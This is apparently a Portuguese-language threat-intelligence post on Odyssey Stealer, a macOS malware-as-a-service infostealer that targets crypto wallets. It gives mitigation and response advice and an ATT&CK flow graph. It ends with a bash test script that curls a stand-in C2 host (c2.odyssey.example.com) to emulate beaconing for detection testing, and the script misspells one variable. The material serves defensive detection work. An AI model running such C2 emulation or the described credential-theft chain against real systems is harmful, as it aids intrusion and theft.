SOC Prime Bias: Médio

13 Fev 2026 16:13

Odyssey Stealer: Dentro de uma Operação de Furto de Criptomoedas no macOS

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Odyssey Stealer: Dentro de uma Operação de Furto de Criptomoedas no macOS
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Odyssey Stealer é um infostealer para macOS focado em carteiras de criptomoedas e extensões. Ele é comercializado como uma plataforma Malware-as-a-Service onde afiliados alugam acesso a um C2 centralizado e painel de administração. A entrega geralmente depende de AppleScript ofuscado que instala um LaunchDaemon persistente que consulta o C2 para comandos. O operador também pode substituir aplicativos legítimos da Ledger e Trezor por versões trojanizadas para capturar credenciais e dados de transações.

Investigação

Pesquisadores identificaram o C2 usando tags meta HTML únicas, hashes do corpo da página e um hash de favicon compartilhado. Eles mapearam dez hosts físicos em vários clusters de ASN, principalmente na Europa e nos Países Baixos. A dissecação do payload revelou um dropper AppleScript de múltiplos estágios, persistência de LaunchDaemon e um binário proxy SOCKS5 compilado em Go. Dados de configuração embutidos no dropper expuseram identificadores de afiliados e IDs de builds.

Mitigação

Observe atividades suspeitas de osascript, especialmente longas strings ofuscadas, arquivos plist de LaunchDaemon desconhecidos com rótulos aleatórios e solicitações POST de saída para endpoints “/log”. Alerta sobre binários gerados por LaunchDaemon e atividades suspeitas de SOCKS5. Verifique a assinatura de código para aplicações Ledger e Trezor, e bloqueie domínios e endereços IP conhecidos de C2. Treine os usuários para tratar prompts de senha inesperados e “atualizações de carteira” como de alto risco.

Resposta

Quando detectado, isole o sistema, termine o LaunchDaemon malicioso e remova aplicações de carteira trojanizadas. Capture o tráfego de rede para os domínios e IPs identificados do C2 para investigação, em seguida, redefina credenciais de criptomoeda expostas e altere senhas do macOS. Realize uma revisão forense completa para identificar artefatos adicionais.

“graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing[“<b>Action</b> – <b>T1566 Phishing</b>: Malicious link delivered via email or malvertising<br /><b>Description</b>: Attacker gains initial access by tricking the user into clicking a link.”] class action_initial_access_phishing action action_user_execution_malicious_link[“<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b>: Victim clicks the link and launches an AppleScript dropper<br /><b>Description</b>: Code execution occurs after user interaction.”] class action_user_execution_malicious_link action action_execution_obfuscation[“<b>Action</b> – <b>T1027 Obfuscated Files or Information</b>: Obfuscated AppleScript payload executed via osascript<br /><b>Description</b>: Hides malicious code to evade detection.”] class action_execution_obfuscation action action_cred_gui_capture[“<b>Action</b> – <b>T1056.002 Input Capture: GUI</b>: Fake macOS password dialog captures admin credentials<br /><b>Description</b>: Steals credentials through UI spoofing.”] class action_cred_gui_capture action action_cred_browser_stores[“<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b>: Extracts cookies, passwords and crypto wallet data from Chrome, Edge and Firefox<br /><b>Description</b>: Harvests stored web credentials.”] class action_cred_browser_stores action action_cred_keychain[“<b>Action</b> – <b>T1555.005 Credentials from Password Managers</b>: Reads stored passwords from macOS Keychain<br /><b>Description</b>: Accesses password manager data.”] class action_cred_keychain action action_cred_securityd[“<b>Action</b> – <b>T1555.002 Credentials from Securityd Memory</b>: Harvests memory of the securityd process for credentials<br /><b>Description</b>: Retrieves credential material from process memory.”] class action_cred_securityd action action_priv_esc_valid_accounts[“<b>Action</b> – <b>T1078 Valid Accounts</b>: Uses captured admin password to obtain elevated rights<br /><b>Description</b>: Gains higher privileges with legitimate credentials.”] class action_priv_esc_valid_accounts action action_persistence_launchdaemon[“<b>Action</b> – <b>T1543.004 Launch Daemon</b>: Installs com.random.plist LaunchDaemon for periodic C2 polling<br /><b>Description</b>: Persists by creating a launch daemon.”] class action_persistence_launchdaemon action action_discovery_browser[“<b>Action</b> – <b>T1217 Browser Information Discovery</b>: Enumerates installed browsers and wallet extensions<br /><b>Description</b>: Gathers information about the victim’s browsing environment.”] class action_discovery_browser action action_collection_archive[“<b>Action</b> – <b>T1560 Archive Collected Data</b>: Compresses stolen files into a ZIP archive<br /><b>Description</b>: Packages data for exfiltration.”] class action_collection_archive action action_exfil_automated[“<b>Action</b> – <b>T1020 Automated Exfiltration</b>: POSTs the ZIP archive to the /log endpoint<br /><b>Description</b>: Sends collected data over HTTP.”] class action_exfil_automated action action_c2_webservice[“<b>Action</b> – <b>T1102 Web Service</b>: Communicates with C2 using HTTP GET and POST endpoints<br /><b>Description</b>: Utilizes web services for command and control.”] class action_c2_webservice action action_c2_dead_drop[“<b>Action</b> – <b>T1102.001 Dead Drop Resolver</b>: Retrieves payloads from /d/… URLs<br /><b>Description</b>: Uses a deadu2011drop location to obtain commands.”] class action_c2_dead_drop action action_c2_external_proxy[“<b>Action</b> – <b>T1090.002 External Proxy</b>: Downloads and runs a Go compiled SOCKS5 proxy for traffic tunneling<br /><b>Description</b>: Routes C2 traffic through an external proxy.”] class action_c2_external_proxy action %% Connections action_initial_access_phishing u002du002d>|leads_to| action_user_execution_malicious_link action_user_execution_malicious_link u002du002d>|triggers| action_execution_obfuscation action_execution_obfuscation u002du002d>|enables| action_cred_gui_capture action_cred_gui_capture u002du002d>|provides| action_cred_browser_stores action_cred_browser_stores u002du002d>|adds| action_cred_keychain action_cred_keychain u002du002d>|adds| action_cred_securityd action_cred_securityd u002du002d>|gives| action_priv_esc_valid_accounts action_priv_esc_valid_accounts u002du002d>|allows| action_persistence_launchdaemon action_persistence_launchdaemon u002du002d>|enables| action_discovery_browser action_discovery_browser u002du002d>|feeds| action_collection_archive action_collection_archive u002du002d>|prepares| action_exfil_automated action_exfil_automated u002du002d>|uses| action_c2_webservice action_c2_webservice u002du002d>|utilizes| action_c2_dead_drop action_c2_dead_drop u002du002d>|supports| action_c2_external_proxy “

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Telemetria & Pré-voo deve ter passado.

  • Narrativa do Ataque & Comandos:
    Um adversário implantou o Odyssey Stealer em uma estação de trabalho macOS. Após comprometer o usuário, o malware inicia um beacon para seu servidor C2 para baixar payloads adicionais e exfiltrar dados colhidos. O beacon usa o curl binário (binário Apple assinado) para emitir solicitações HTTP GET para os endpoints C2 definidos na regra. O atacante escolhe esses caminhos de URI específicos porque são curtos, se misturam com o tráfego web típico e evitam a detecção por soluções genéricas de filtragem de URL.

    Etapas:

    1. Resolva o nome do host C2 (simulado como c2.odyssey.example.com).
    2. Emita uma solicitação GET para /d/aff123456 – imita o endpoint de exfiltração de dados com um código de afiliado aleatório e token numérico.
    3. Emita uma solicitação GET para /api/v1/bot/ – simula o batimento cardíaco de gerenciamento de bot.
    4. Opcionalmente, envie uma solicitação para /log para emular o tráfego de registro interno usado pelo malware para relatórios de status.
  • Script de Teste de Regressão: O seguinte script bash reproduz o tráfego exato necessário para acionar a regra de detecção.

    #!/usr/bin/env bash
    # Simulação de beacon do Odyssey Stealer para validação de detecção
    # Requisitos: curl, proxy de rede configurado conforme etapas pré-voo
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"   # ajuste para o endereço do seu proxy Squid
    
    # Função para enviar uma solicitação via proxy
    enviar_requisicao() {
        local path=$1
        echo "[*] Enviando solicitação para https://${C2_HOST}${path} via proxy ${PROXY_HOST}"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. Endpoint de exfiltração de dados (afiliado aleatório + dígitos)
    AFILIADO="aff$(shuf -i 1000-9999 -n 1)"
    DIGITOS=$(shuf -i 10000-99999 -n 1)
    enviar_requisicao "/d/${AFILIADO}${DIGITS}"
    
    # 2. Batimento cardíaco de gerenciamento de bot
    enviar_requisicao "/api/v1/bot/"
    
    # 3. Endpoint de registro opcional
    enviar_requisicao "/log"
    
    echo "[+] Simulação completa. Verifique os alertas no SIEM."

    Salve o script como odyssey_beacon.sh, torne-o executável (chmod +x odyssey_beacon.sh), e execute-o na máquina de teste macOS.

  • Comandos de Limpeza: Remova quaisquer arquivos temporários e opcionalmente desative o proxy para o usuário de teste.

    # Desative as configurações de proxy para a interface Wi-Fi
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (Opcional) Pare o Squid se ele foi iniciado apenas para este teste
    # brew services stop squid
    echo "Configurações de proxy restauradas e Squid parado (se aplicável)."